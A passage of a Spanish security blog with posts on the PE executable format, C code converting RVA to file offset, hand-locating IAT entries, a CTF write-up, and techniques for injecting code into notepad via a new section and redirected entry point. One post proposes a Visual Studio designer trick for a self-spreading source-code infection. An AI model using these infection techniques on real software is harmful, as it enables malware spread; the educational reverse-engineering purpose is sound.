La redacción de este documento tiene como fin explicar una forma de lograr detectar información extra no-original de un archivo ejecutable, que bien puede ser la parte binaria de un archivo quizá su información se encuentre encriptada, sumado a otro para luego darle cualquier uso podemos decir posiblemente (Stub – servidor), Técnica utilizada por los actuales “Encriptadores” .

Empezaremos hablando de la utilidad y hablando del aprovechamiento de esta información respecto al malware, mostraré unos cuantos ejemplos y espero de una u otra forma les llegue a ser de ayuda.

El documento y el código fuente en C para realinear secciones y así evitar que sea sencillo localizar esta información extra lo subo por aquí.

Gracias Th3 Sw4sh!

Código para pasar de RVA a Offset

2011-03-15T01:24:00.009+01:00

Buenas noches! Es hora de comenzar a programar un poquillo con esto del PE.

Algo que seguro habéis leído en casi todos los documentos que he ido poniendo como referencia es cómo convertir de una dirección relativa virtual, RVA, a una posición física en el fichero, llamémoslo offset.

Primero manualmente

Lo primero que debemos hacer es encontrar a que sección del ejecutable pertenece esa RVA, para ello en cada sección nos fijamos en los valores VirtualAddress y VirtualSize. Una vez localizada la sección restamos a la RVA la VirtualAddress para saber el desplazamiento dentro de la sección y por último sumamos el PointerToRawData para localizar ese desplazamiento en disco.

Veámoslo con un ejemplo que sino no se entiende nada. Tomemos como ejemplo este post: http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html

En él buscábamos la IT en disco, mediante un editor hexadecimal vimos que esta se encontraba en la RVA 0x7604. Mirando la secciones nos encontramos con la primera, .text con los siguientes valores:

Name: .text VirtualSize: 0x7748 VirtualAddress: 0x1000 SizeOfRawData: 0x7800 PointerToRawData: 0x400

La sección empieza en 0x1000 y acaba en 0x8748 (0x1000+0x7748), por lo que la RVA 0x7604 se encuentra dentro de ella.

Ahora debemos hacer los cálculos. RVA – comienzo de la sección(VirtualAddress) + comienzo de la sección en disco (PointerToRawData). 0x7604 – 0x1000 + 0x400 = 0x6A04

Y ahí está:

A programarlo

Vamos a programarlo en C, al programa se le pasaran 2 parámetros, el primero el nombre del ejecutable y el segundo la RVA en hexadecimal. Para pasar de una cadena en hexadecimal a un número usaremos la función strtoul.

Así que verificamos que lo que nos pasan como argumentos es lo que esperamos:

if(argc != 3 || strtoul(argv[2], NULL, 16) == 0) 
{
printf("Se esperaban 2 parametros, el primero un fichero y el segundo una RVA en hexadecimal\n");  
printf("Ej: %s notepad.exe 3A03\n", argv[0]);  
return EXIT_FAILURE;  
}

Después leemos la RVA recibida, abrimos el fichero y lo leemos entero en un buffer:

 //Convierte la cadena que contiene el numero en hexadecimal a DWORD   
DWORD RVA = strtoul(argv[2], NULL, 16);    
HANDLE fichero = CreateFile((LPCTSTR)argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    
if(fichero == INVALID_HANDLE_VALUE)    
{    
 printf("Error abriendo el fichero\n");    
 return EXIT_FAILURE;    
}    
//Se lee todo el fichero en buf    
DWORD size = GetFileSize(fichero, NULL);    
byte *buf = (byte *)malloc(size);    
DWORD bytesleidos;    
ReadFile(fichero, buf, size, &bytesleidos, NULL);    
CloseHandle(fichero);    
if (bytesleidos != size)    
{    
 printf("Error leyendo el fichero\n");    
 return EXIT_FAILURE;    
}

Invocamos a la función mágica que convertirá de RVA a Offset, su contenido después.

DWORD Offset = RVAToOffset(buf, RVA);   
if (Offset == -1)    
{    
 printf("No se encontró el offset correspondiente a dicha RVA\n");    
 return EXIT_FAILURE;    
}    
//Se imprime el resultado
printf("RVA:    0x%08x\n", RVA);   
printf("Offset: 0x%08x\n", Offset);
free(buf); 
return EXIT_SUCCESS;  
}

Y ahora la función mágica la que tiene todo lo importante.

//Dada un dirección relativa virtual, RVA, la transforma a una posición exacta en el fichero 
DWORD RVAToOffset(byte *buf, DWORD RVA)  
{  
//Se lee la cabecera DOS que está al principio
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;  
//Se lee la cabecera PE, el campo e_lfanew nos indica donde se encuentra dentro del fichero  
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&buf[pIDH->e_lfanew];  
//Buscamos a que sección pertenece la RVA para hacer los cálculos correctos  
for(DWORD i = 0; i < pINH->FileHeader.NumberOfSections; i++){  
 //Nos vamos desplazando por las secciones  
 PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&buf[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];  
 //Si la RVA está dentro del rango  
 if (pISH->VirtualAddress <= RVA && pISH->VirtualAddress + pISH->SizeOfRawData > RVA){  
   //Se realizan los cálculos  
   return RVA - pISH->VirtualAddress + pISH->PointerToRawData;  
 }  
}  
//Si no encuentra en ninguna sección retornamos -1  
return -1;  
}

Admito que así visto el código asusta un poco, con Visual Studio se ve mas bonito:

Y así se usa:

Cuelgo aquí el .c y el compilado para que lo podáis ver bien, compilar, probar o incluso usar.

El programa en sí no sirve de mucho, pero es algo necesario (pasar de RVA a Offset) para cuando hagamos cosas mas complicadas y así de paso vamos practicando.

Se esperan críticas al código. Un saludo!

Documentación interesante

2011-03-13T17:29:00.002+01:00

En estos días ando leyendo distinta documentación sobre el formato PE, la tabla de importación de los ejecutables, etc…

Os dejo 3 documentos interesantes sobre el tema. El primero trata sobre la estructura del formato PE, explica algo de la tabla de importaciones y de la de exportaciones. 044-ESTUDIO DE LOS ENCABEZADOS PE parte 1 POR SICK TROEN.zip 048-ESTUDIO DE LOS ENCABEZADOS PE parte 2 POR SICK TROEN.zip

En estas 4 “teorias” Ricardo Narvaja explica lo de que es la Import Table, como recomponerla a mano tras haber dumpeado un archivo comprimido con UPX e incluye un script para reparar la IAT. Realmente bueno.
253-IMPORT TABLES A MANO (parte 1).rar
254-IMPORT TABLES A MANO (parte 2).rar
255-IMPORT TABLES A MANO (parte 3).rar
256-IMPORT TABLES A MANO (parte 4).rar

Y el mas interesante y completo de todos es el artículo de la revista Codebreakers “Portable Executable File Format – A Reverse Engineer View” basta con ver el índice:

1 Introduction 2 Basic Structure 3 The DOS Header 4 The PE Header 5 The Data Directory 6 The Section Table 7 The PE File Sections 8 The Export Section 9 The Import Section 10 The Loader 11 Navigating Imports on Disk 12 Adding Code to a PE File 13 Adding Import to an Executable 14 Introduction to Packers 15 Infection of PE Files by Viruses 16 Conclusion 17 Relative Virtual Addressing Explained 18 References & Bibliography 19 Tools Used 20 Appendix: Complete PE Offset Reference

Felices lecturas!

Charla interesante en la Rooted sobre virii

2011-03-09T00:26:00.001+01:00

El viernes pasado en la RootedCon 2011 Alberto García realizó una presentación que parece muy interesante: Virus, el arte no debería ser negocio. En las diapositivas comenta varias cosas interesantes.

Una de ellas es que la forma mas típica de infectar un ejecutable es añadiendo una nueva sección, cambiando el EP a la nueva sección, ejecutar el código malicioso y mas tarde regresar al EP original. Y otra forma que comenta para que no sea muy evidente que el EP ha sido modificado es poner como primera instrucción un salto a la nueva sección.

También habla de cifrar un ejecutable y que este a su vez cree nuevas copias cifradas con distintas claves o con distintos algoritmos de cifrado para que cada copia del mismo sea diferente.

Otra de las cosas que comenta es utilizar el protocolo DNS o ICMP para controlar los bots y pasar mas desapercibidos a los cortafuegos.

Espero que pronto salga el video de la conferencia para verlo completo.

Localizar direcciones en la IAT a mano 2/2

2011-03-07T22:08:00.004+01:00

Localizar direcciones en la IAT a mano 1/2

En la anterior entrada localizamos la estructura “Directorio de Datos Importados” correspondiente a la DLL User32.dll que contenía los siguientes valores:

dwRVAFunctionNameList: 0x00007854 dwUseless1: 0xFFFFFFFF dwUseless2: 0xFFFFFFFF dwRVAModuleName: 0x0000873C dwRVAFunctionAddressList: 0x00001188

Lo primero es recorrer el vector de nombres de las funciones importadas, dwRVAFunctionNameList, hasta encontrar la de MessageBoxW. Está en la dirección RVA 0x7854, que traducida a FileOffset como hicimos en el anterior entrada nos da: 0x7854-0x1000+0x400= 0x6C54

En esa dirección vemos una lista muy larga de punteros:

74 punteros, cada uno de ellos es una RVA donde encontrar el nombre de la función importada de la DLL User32.dll. Así que ahora toca un poco de trabajo sucio e ir uno a uno buscando a que nombre llevan. Por ejemplo el primero 0x00008524 que traducido a FileOffset es 0x7924 donde encontramos esto:

Los primeros 2 bytes corresponden al ordinal con el que se exporta la funcionen este caso 0xFF, los siguiente bytes corresponden al nombre de la función importada “GetClientRect”. Siguiente este proceso con el resto de punteros llegamos al que está en la posición 0xE0, en el FileOffset 0x6D34 (0x6C54+0x4*0xE0).

0x00839A, traducido a FileOffset: 0x779A (0x839A-0x1000+0x400), ahí es donde encontramos lo siguiente:

Que es la función buscada.

Sabemos que está en al posición 0xE0 de la lista de funciones importadas de user32.dll. Ahora tenemos que ir a esa posición de la lista de dirección de las funciones, dwRVAFunctionAddressList, y podremos saber en que dirección de memoria dentro de la IAT se encontrará una vez cargado el programa en memoria la dirección en nuestra versión de Windows de la funcion MesageBoxW.

La lista de direcciones se encuentra en al dirección RVA 0x00001188: dwRVAFunctionAddressList: 0x00001188

Sabiendo que la dirección de nuestra función (MessageBoxW) se encontraba en la posición 0xE0 deberemos sumar este valor al comienzo de la lista para obtener su dirección RVA exacta: 0x1188+0xE0=0x1268

Esta recordemos que es la dirección RVA, para obtener la dirección real en memoria debemos de sumarla la “ImageBase”, es un valor de la cabecera PE que en el ejecutable que estamos usando(Notepad de XP SP2 en español) es 0x01000000: 0x01000000+0x1268=0x01001268

Y efectivamente una vez cargado el programa en memoria en esa dirección podemos encontrar la dirección en nuestro sistema de MessageBoxW. Veámoslo en OllyDbg:

En esa dirección vemos el código en ensamblador de la función MessageBoxW, que a su vez llama a la función MessageBoxExW pasándole algún parámetro nulo:

Y esto es todo. Como decía en la primera entrada el proceso está resumido aconsejo leer el documento que puse inicialmente para mas detalles. Se puede hacer todo esto de una manera mucho mas sencilla utilizado programas que te facilitan la tarea. Pero mi objetivo es saberlo hacer todo a mano para algún día poder programar algo relacionado con todo esto.

Nos vemos pronto!

Localizar direcciones en la IAT a mano 1/2

2011-03-04T01:47:00.001+01:00

En la anterior entrada una vez localizada la IAT(Import Address Table) nos ayudamos de OllyDbg para saber donde se almacena la dirección de la función MessageBoxW, para después usarla en nuestro código (CALL [Dir de MessageBoxW en la IAT]) y así no tener la dirección “hardcoded”.

Vamos hacer esta búsqueda a mano así nos familiarizamos con la estructura de la IT(Import Table) y la IAT. Aviso que el proceso que sigo está resumido y da cosas por sabidas, recomiendo leer este documento Descabezando archivos ejecutables portables de nuMIT_or antes o durante se lee la entrada.

En el proceso usaré el notepad de la anterior entrada, aquí se puede descargar.

Lo primero es localizar la IT en disco. Para ello hago uso de 010 Editor, en la cabecera opcional dentro de la cabecera PE, está el directorio de datos, una de esos directorios es el directorio de Importaciones:

Como vemos podemos encontrar este directorio en la dirección virtual (de ahora en adelante VA) 7604h. Hay que tener en cuenta que está dirección es virtual y nosotros estamos buscando estos datos en el archivo en disco, así que necesitamos traducir de VA a dirección física. Primero necesitamos saber en que sección de todas ira a caer esta VA.

La sección text empieza en la VA 1000h y acaba en la 8748h. Así que la IT que está en la VA 7604h pertenece a la sección .text. Esto también nos lo muestra OllyDbg:

Ahora para pasar de la VA a la dirección física debemos restar a la VA la VA inicial de la sección text (1000h).
7604h-1000h=6604h
Y a este valor sumarle la dirección física donde comienza la sección, SizeOfRawData:
6604h+400h=6A04h

Vamos a esa dirección con el editor hexadecimal y vemos la IT, la he coloreado en rojo:

La IT es un vector de valores DW (Double word, 4 bytes) que sigue esta estructura:
dwRVAFunctionNameList DWORD ;
dwUseless1 DWORD ;
dwUseless2 DWORD ;
dwRVAModuleName DWORD ;
dwRVAFunctionAddressList DWORD ;

He coloreado en verde la primera de las estructuras:

Lo que nos interesa ahora es ver el campo dwRVAModuleName que es donde está el nombre de la DLL importada. En esta primera estructura tiene el valor 00007AACh. Este valor a su vez es una VA y debe ser traducida a dirección física. Aplicando el mismo procedimiento que antes tenemos que 7AACh->6EACh

Vemos entonces que la primera estructura de la IT se refiere a la DLL comdlg32.dll. Nosotros buscamos la función MessageBoxW que pertenece a la dll user32.dll, así que seguimos con las siguientes estructuras de la IT hasta encontrar justo al final la correspondiente a la DLL User32.dll:

Una vez localizada la entrada en la IT correspondiente a User32.dll nos falta recorrer el vector de funciones importadas para localizar MessageBoxW y buscar en el vector de direcciones la dirección de la función.

Eso en la siguiente entrada. (Que no podrá ser hasta el lunes ya que estaré alejado del ordenador).

Añadir código portable a un ejecutable 2/2

2011-03-01T23:50:00.003+01:00

Añadir código portable a un ejecutable 1/2

Continuando…

Debemos buscar la función MessageBoxA en la IAT de modo que podamos usar la dirección que haya puesto allí el cargador de Windows. La dirección de memoria donde está la IAT se puede saber mirando en la cabecera PE:

La dirección RVA es 1000h, la dirección en memoria, Virtual Address, será ese valor + ImageBase es decir 0x01001000 justo donde empieza la sección text de código. Podemos abrirlo en OllyDbg y en esa dirección veremos una serie de offsets, al lado nos muestra a la dirección de que función corresponde.

Ahora debemos buscar la función MessageBoxA. En msdn podemos ver que es una función que está definida en User32.dll. Así que buscamos esa función y encontramos una parecido MessageBoxW, que es la versión Unicode, nos sirve .

Pero debemos cambiar la cadena que teníamos a una cadena unicode, para que sea compatible con la función.

Una vez con todo esto tenemos que adaptar el código ensamblador que pusimos al inicio de la sección para que lea la dirección de la función MessageBoxW desde la IAT, de la dirección 0x010001268.

01014017 E8 00000000 CALL 0101401C 0101401C 58 POP EAX 0101401D 6A 00 PUSH 0 0101401F 83E8 1C SUB EAX,1C 01014022 50 PUSH EAX 01014023 50 PUSH EAX 01014024 6A 00 PUSH 0 01014026 A1 68120001 MOV EAX,DWORD PTR DS:[01001268] 0101402B FFD0 CALL EAX 0101402D B8 9D730001 MOV EAX,0100739D 01014032 FFE0 JMP EAX

Y de este modo conseguimos un notepad “infectado”, que muestra un MessageBox al iniciarse y que funcionará correctamente en todos los Windows. Lo subo aquí por si alguien quiere ojearlo.

Pero hemos hecho un poco trampas, porque hemos usado la función MessageBoxW en vez de MessageBoxA, el problema es que notepad no usa MesasgeBoxA así que no Importa dicha función y no podemos obtener su dirección leyendo la IAT. Esto es un problema ya que solo podremos usar las APIs que ya utilice el programa y no todas las de Windows. Se puede solucionar utilizando las funciones GetProcAddress y GetModuleHandle, pero eso ya para otra entrada.

Saludos!

Añadir código “portable” a un ejecutable 1/2

2011-02-28T18:57:00.003+01:00

En anteriores episodios… Añadimos una sección a mano al notepad (lo subo por aquí). Se cambió el EntryPoint para apuntar a la nueva sección. En esa sección incluimos código para mostrar un mensaje usando la dirección hardcoded de MessageBoxA. Y por último se saltaba al EntryPoint Original del programa para que continuase su ejecución normal.

El problema como comenté es que la dirección de MessageBoxA, en mi caso 76F0FEAE, cambia dependiendo de versiones de Windows, ServicePack instalados, actualizaciones… Así que nuestro nuevo ejecutable “infectado” no sería muy portable.

La solución pasa por entender como Windows hace que un ejecutable se ejecute correctamente en distintas versiones de Windows. Para ello el cargador cuando se quiere ejecutar un programa entre otras cosas localiza la tabla de importaciones que contiene todas aquellas funciones que utiliza el ejecutable y rellena una estructura conocida como Import Address Table, IAT, con las direcciones de esas funciones en la versión actual de Windows.

Para entender todo esto bien, y ya de paso algo sobre como aprovechan esto los virus, recomiendo leerse este PDF Infección de ejecutables de iZan.

Continuará...continuó.

Añadiendo una sección a un exe

2011-02-27T19:25:00.001+01:00

Una de las primeras cosas que se puede hacer con un exe para ir familiarizándonos con el formato PE es añadir una sección nueva, para ello he seguido un tutorial de Ferchu de elhacker.net:

http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2008_taller_de_formato_pe_by_ferchu-t208278.0.html

En él primero se expone el formato PE, después se añade una sección y por último se añade código a la sección y se modifica el EP para que se muestre un MessageBox al inicio de la aplicación.

Resulta muy útil usar el editor hexadecimal que comentaba en la otra entrada 010 Editor. Y para añadir código a la sección una vez agregada la sección lo mejor es usar OllyDbg e ir poniendo las instrucciones en ensamblador y verificando que hacen lo que queremos.

Por cierto para localizar la dirección de la función MessgeBoxA lo mejor es abrir Olly, Ctrl+G y escribir MessageBoxA, nos llevara hasta la posición de memoria donde se encuentra dicha función.

Lo malo de esto es que el ejecutable solo funcionara en nuestra versión actual de Windows, en cuanto cambie el idioma, o las actualizaciones la dirección de MessageBoxA habrá cambiado y no funcionara. Por eso en siguientes posts veremos como localizar la dirección de MessageBoxA por código de modo que el exe funcione en todas las versiones de Windows.

010 Editor, editor hex perfecto para los exe

2011-02-26T19:41:00.000+01:00

010 Editor Es un editor hexadecimal que admite el uso de plantillas, es perfecto para ver y modificar los valores del formato PE de un fichero. Por ejemplo:

Una vez descargada esta versión trial.

Es necesario descargarse las plantillas que necesitemos, en este caso las de el formato ejecutable. Hay dos la que mas me ha gustado a mi ha sido la segunda: http://www.sweetscape.com/010editor/templates/files/EXETemplate2.bt

Por comodidad mejor ponerla en el directorio de plantillas: C:\Users\%user%\Documents\SweetScape\010 Templates

Después hay que ir al menú templates > Edit templates list... y añadir la plantilla:

De este modo cada vez que abramos un ejecutable se cargara la plantilla y veremos los campos del PE.

A disfrutar!

Retorno

2011-02-26T03:53:00.002+01:00

Queridos lectores hace mucho tiempo que no escribo en el blog la verdad es que al pobre lo tengo abandonado. Siento la necesidad de daros una explicación de por qué esto es así.

En parte es culpa de la falta de tiempo, entre el trabajo, estudios, vida universitaria en el extranjero ;) no me sobra demasiado tiempo para dedicarlo a aprender cosas nuevas y compartirlas con vosotros.

Otra razón es que cuando pienso en escribir sobre algo se me pasa por la cabeza "¿esto es muy básico?", "esto ya está dicho en mil sitios mas", "esto no le interesa a la gente", etc... Y al final termino por no escribir sobre ello.

Por último había perdido un poco la pasión que tenía antes, no era como hace unos años cuando leía con ansia textos sobre malware. Estaba menos interesado en dedicar tiempo a esto y prefería gastarlo en otras cosas.

Pero en los últimos meses en los que he estado mas alejado de la informática han surgido en mi unas ganas increíbles de aprender cosas nuevas, de dedicar tiempo a profundizar, entender, probar cosas de seguridad informática. incluso ganas de volver a programar!! Si, se que suena como si estuviera loco, probablemente lo esté.

Además pienso que el tiempo no es un problema, si hay ganas el tiempo se saca de donde se pueda (véase la hora de la entrada).

Así que para saciar estas ansias de conocimiento he decidido dedicar todos los días unas horas a la informática mas pura y dura. El tema elegido para profundizar en él es el formato PE. La intención es leer documentación sobre el mismo, y utilizarla para ver como se puede trastear los ejecutables para sacarles el máximo provecho, modificar ejecutables a mano, hacer encriptadores, protectores, etc...

Utilizare el blog para compartir con vosotros el proceso de aprendizaje, documentos sobre el tema, herramientas, código, todo lo que me encuentre por el camino.

Nos vemos pronto ;)

A Spotify no le gusta OllyDbg

2010-05-03T22:32:00.003+02:00

Andaba yo tan feliz escuchando música en mi ordenador con Spotify cuando me dispuse a abrir OllyDbg para seguir los excelentes post de Eduardo Abril y ZAS! adiós Spotify. Lo vuelvo a arrancar y mira tu:

En la última actualización han incorporado medidas antidebug. Panda de paranoicos… ¿quien querría debugear Spotify para escuchar música sin publicidad? Y ahora ¿cómo voy a escuchar la mejor música y trastear con el Olly!!?

Habrá que desempolvar el viejo transistor :)
Saludos!

Gané el desafío 11 de ESET

2010-04-30T22:32:00.001+02:00

Leyendo RSS (los cuales me quitan gran parte de mi tiempo libre) me enteré de este nuevo reto del laboratorio ESET Latinoamérica:
http://blogs.eset-la.com/laboratorio/2010/04/27/desafio-11-eset/

Empiezas, te picas y al final no te lo quitas de la cabeza hasta que no se resuelve el acertijo. Esta vez hubo suerte y fui el primero en resolverlo :)

Aquí puede verse la solución que ha dado ESET:
http://blogs.eset-la.com/laboratorio/2010/04/30/solucion-desafio-11-de-eset/

Ya que estamos pongo la mía tal cual se la envíe a ellos.
Saludos!

Buenas,
expongo a continuación lo que creo que es la solución.

Lo primero que hice fue acceder al enlace que nos daban:
http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/
Al acceder al mismo vi que se mostraba un error 403 forbidden con solo texto.

Como sabia que había gato encerrado probé varias cosas. Mire el código fuente por si se había dejado alguna pista, examiné las cabeceras, nunca se sabe…

Tras un periodo de reflexión llegué a la conclusión de que al ser un reto relacionado con el malware es posible que solo respondiera con un exploit ante determinados User-Agents antiguos, así que probé con distintos valores. Así conseguí descubrir que con todos los UsersAgent de los navegadores mas conocidos se devolvía la misma página de 403 con solo texto, pero cuando desaparecía el User-Agent o contaba con un valor aleatorio se mostraba una página 404 personalizada, en html, siguiendo la estética del blog.

Tras muchos intentos y tras leer alguna pista en los comentarios me dio por comparar la página 404 que da el blog de eset con esa que se mostraba. Y en efecto no eran iguales. Así llegue a encontrar un script que no se cargaba en la página 404 normal. Estaba en la siguiente URL:
http://blogs.eset-la.com/laboratorio/wp-content/uploads/2010/04/desafio-11/sendus.js
El contenido de la misma era este:
lrreaaisbtoeoo@t

A primera vista parecía casi una cadena válida pero le faltaba algo, probé con Rot13 y todos los XOR posibles pero nada no había forma. Así que pregunte en los comentarios y recibí la pista definitiva, “era una dirección de correo”. Sabiendo esto pensé en algún tipo de cifrado que jugaba con la transposición de caracteres. Así que conté los caracteres, 16, buen número. Después intentando hacer algún tipo absurdo de criptoanálisis me dio por dividir la cadena en dos partes, y hacer lo mismo con el resultado, logrando sorprendentemente el objetivo buscado:
lrre
aais
btoe
oo@t

Leyendo de arriba a abajo: laboratorio eset
Gracias por el reto. Un saludo!

Regalo de la Rooted CON

2010-02-11T12:35:00.001+01:00

Regalo de la organización de la Rooted CON a los 100 primeros registrados. Una bonita camiseta jeje.

Que detallistas :)

RootedCon

2009-12-12T15:50:00.001+01:00

Seguro que ya lo habéis escuchado pero por si acaso os aviso.

Los días 18 (jueves laborable), 19(viernes festivo) y 20 de Marzo se va a celebrar la RootedCon en Madrid.

¿Qué es la RootedCon? Cito:

Lo primero de todo, el congreso se compondrá de conferencias altamente técnicas. No queremos humo; buscamos fomentar el conocimiento, y por ello no nos contentamos con saber que existen “cosas”: queremos saber cómo son y por qué funcionan así.

Resumiendo: 3 días escuchando a los mejores (sexy pandas incluidos) hablar sobre temas muy interesantes por el ridículo precio de 25€ si eres estudiante y te registrar antes de enero. Realmente increíble. Registro y precios.

Yo asistiré con algún compañero a pasar 3 días a tope.
Por allí nos veremos, ¿no?

Curioso deface

2009-12-11T19:56:00.001+01:00

No es el típico HACKEY BY -[@Turk15h H4ck3r]-

Que pongas el microfiltro en el teléfono so plasta!

El tipo se cargo advance.com.ar seguro que fue cosa de los DNS.

Visto en segu-info.

Visual Studio Powa!

2009-12-01T22:24:00.001+01:00

Problema:
Tengo una mega-lista de 150 valores sacados del HTML de una página:

Y quiero convertirlo en una función de C# que me transforme el texto al valor. Pues nada más fácil que aprovechar la funcionalidad de Visual Studio de reemplazar, con las expresiones regulares y las “Tagged Expresion”:

Y así esto:

Se convierte en esto otro:

Hay que corregir algún fallo, como esos espacios en el case, pero nos hemos ahorrado un buen tiempo, ¿no?

Esto es muy útil cuando deseamos reformatear un texto, por ejemplo extraer los pares de valores entre corchetes, cambiarlos de lugar y añadir unas comas. Seguro que alguna vez os es útil.

Saludos!
Más información sobre el tema.

Qué arte!

2009-11-21T01:02:00.001+01:00

Transcripción: “ayuda nesesito hacer un virus bueno para fregar a unn amigo pero k no sea muy peligroso, no m podras ayudar?”

Posss ahora mismo…así no muy peligrosos…que solo frieguen un poco pues no sé…tengo el Win32\Gripe.A y sus recientes mutaciones si con eso te apañas…

Programa para obtener la IP pública

2009-11-03T13:55:00.003+01:00

Es un coñazo andar consultando páginas como cualesmiip para saber tu IP pública. Por eso me he creado un sencillo programa para que muestre la dirección IP por consola o la copie al portapapeles .

Añado el ejecutable a mi directorio de herramientas básicas, incluido en la variable PATH y a funcionar:

Falsa IP.

El –c es para que lo copie al portapapeles.

Os lo subo por aquí por si lo queréis tener. Un saludo!

¿Infectar código fuente?

2009-09-15T00:32:00.001+02:00

Supongamos que estaba haciendo un programa en C# con Visual Studio en el que quería poner unos bonitos botones rosas:

En realidad es un control personalizado en el que he sobrescrito el método OnPaint, algo así:

[Offtopic: Molaría poner en el blog algo que colorease el código fuente, pusiera el número de línea, unas scrollbars… ¿se podrá en blogspot?]

Hasta aquí todo mas o menos normal, pero es entonces cuando me fijo que el IDE, Visual Studio, en tiempo de diseño está mostrando el botón exactamente como quedaría una vez compilado y ejecutado el programa.

¿Pero como es posible? En tiempo de diseño Visual Studio no puede saber como quedará el botón que yo pinto manualmente, a no ser… que esté ejecutando el método OnPaint para ofrecer al programador una previsualización del formulario tal y como quedará en tiempo de ejecución.

Es decir Visual Studio va a ejecutar lo que halla en el método OnPaint de los controles personalizados que tengamos en el formulario que estemos previsualizando en ese momento.

¿Y si colocásemos en el método OnPaint código malicioso? Un developer que abriese el proyecto y visualizara el diseño del formulario ejecutaría sin saberlo el malvado código malicioso. Esto sería perfecto para infectar a un programador del que sabemos que es muy probable que abra confiadamente el proyecto que le pasemos y trastee felizmente con la interfaz.

Desde aquí podéis bajaos un proyecto de Visual Studio que tras ser abierto y visualizado el form1.cs, se ejecutará la calculadora de Windows sin necesidad de compilar ni ejecutar el proyecto. Nota: Uso el registro “como un mutex” para que solo se ejecute una vez la calculadora.

Como he puesto que se ejecute la calculadora de Windows podía haber puesto que se ejecute un binario incluido en el proyecto o que lo descargue y ejecute o … algo mas interesante.

El código malicioso podría buscar todos los proyectos de Visual Studio e insertar en ellos un botón personalizado de 0x0 con un método OnPaint que haga exactamente lo mismo (buscar todos los proyectos e infectarlos, etc…). Y así infectaría todos los proyectos de VS de ese ordenador. Esto en un desarrollador que comparta sus códigos mediante SVN, SourceSafe o CodePlex, SourceSafe podría causar estragos. Sería como un virus en el código fuente.

Y esto me recuerda al virus W32/Induc comentado por aquí, por acá, por allá y por mas allá. Este virus infecta el compilador de Delphi, modifica una dependencia incluida en todos los ejecutables, de modo que cada ejecutable compilado con ese ordenador queda infectado y trata de infectar el compilador de Delphi de los usuarios que lo ejecuten.

¿Sería mas peligroso esto del código fuente? Le faltaría ya de paso no solo infectar el código fuente sino también los ejecutables generados como hace Induc y de paso una vez infectado el equipo eliminar del código fuente las rutinas maliciosas.

Por último quiero destacar que el hecho de que seamos capaces de ejecutar código sin compilar el proyecto tampoco es un gran logro, al fin y al cabo seguramente se conseguiría el mismo efecto insertando la rutina normalmente como parte del programa y esperando a que el programador lo compile y ejecute.

PD: No me gustan los botones rosas con bordes negros solo era un suponer ;)

Solución reto Pwtent Pwnables 100 Defcon 17 Quals

2009-06-11T23:56:00.001+02:00

Que nombres mas raros Dios Santo. El pasado finde 6,7 de Junio se realizó una clasificación para asistir a la competición CTF, Capture The Flag, de la Defcon 17, en Las Vegas. Consiste en un montón de retos/pruebas/desafíos informáticos que hay que superar en equipo y así los 10 primeros van a Las Vegas para ver quien es el mejor del mundo. El nivel , altísimo. Suena guay, ¿verdad?

Mi querido Pedro Laguna nos invito a que nos apuntásemos con él a ver que se movía por ahí. Así que ahí estábamos el sábado 6 de madrugada Pedro, Manu (un compañero) y yo cagándonos en lo mal que funcionaba ese applet que era el panel de puntuación.

Las pruebas eran muy raras y no se daban demasiadas indicaciones sobre como superarlas, es parte del juego ;)

Yo me tope con una especie de ejecutable que pedía un serial, ummm eso sonaba bien, al menos podía abrirlo con OllyDbg e intentar hallar un serial. Aquí os lo cuelgo A continuación os cuento como lo resolví.

Nada mas abrirlo veo una consola que no hace nada, mas que dejar un puerto a la escucha:

TCP 0.0.0.0:5832 0.0.0.0:0 LISTENING 1976

Me conecto con netcat y me pide un serial ¿?

Perfecto, lo abro con el OllyDbg, busco las cadenas referenciadas en el código:

Ahí está la cadena “Well done!” la cual en teoría tiene que aparecer cuando introduzca el serial bueno. Perfecto: Follow in Disassembler:

Mira justo un par de instrucciones antes de mostrar ese mensaje se hace una comparación de cadenas, strcmp, guay, pongo un breakpoint allí, veo lo que se está comparando y reto solucionado.

Pero no funciona…algo raro pasa, pongo otro breakpoint cuando directamente me muestra el mensaje de serial erróneo y tampoco se detiene.

Así que voy ejecutándolo desde el principio poco a poco para ver si tiene alguna protección o que… Veo una llamada a accept, me conecto con netcat y entonces me encuentro que llega a esta función:

Aja! Está creando un nuevo proceso por cada petición, es ese proceso el encargado de verificar si nuestro serial es correcto o no. Así que necesito abrir con OllyDbg el nuevo proceso, el proceso hijo, no este.

Resumen: al ejecutar el exe este se queda a la escucha en el puerto 5832 y por cada nueva conexión crea un proceso hijo que se encarga de recibir y verificar el serial que introducimos. Así que era normal que cuando ponía breakpoints en el proceso inicial no se detuvieran ahí nunca.

Tuve algunos problema iniciales para hacer Attach con OllyDbg sobre el proceso hijo, pero tras pensarlo un rato (dormir), me doy cuenta de que es de lo mas fácil, no hay que hacer nada :) Simplemente ejecutar el programa inicial, conectarnos por netcat y entonces hacer Attach sobre el proceso hijo.

En estos momentos el programa está esperando a que introduzcamos texto desde el netcat, así que pongo un breakpoint en recv, escribo algo en la consola donde tengo el netcat a la espera y llego a esta zona de código:

Podemos ver dos bucles donde se reciben bytes hasta encontrar el salto de linea, \n, y entonces se comparan ambos.

Así que en realidad se reciben dos líneas, claro! Ya decía yo que eso de dar dos veces al enter no era muy normal :) Estas dos líneas se comparan sin mas ¿? Aquí hay truco…vamos a a probar:

Uy que raro…es entonces cuando recapacito, ¿pero en serio que nos piden un serial? Pues no, lo que nos piden es que les petemos, si es que hay que leer el enunciado detenidamente antes de lanzarse a abrir el OllyDbg en cuanto vemos un exe…

Efectivamente peta, ¿será un Stack Buffer Overflow? Vemos donde está guardando el contenido de la primera línea introducida:

Guarda el contenido de la primera línea en 22FDC0 (fijaos que esta es la segunda vez que pasa por bucle, en la primera yo no estaba ni “Attacheado” al proceso).

Ahora mirad en el contenido de la pila:

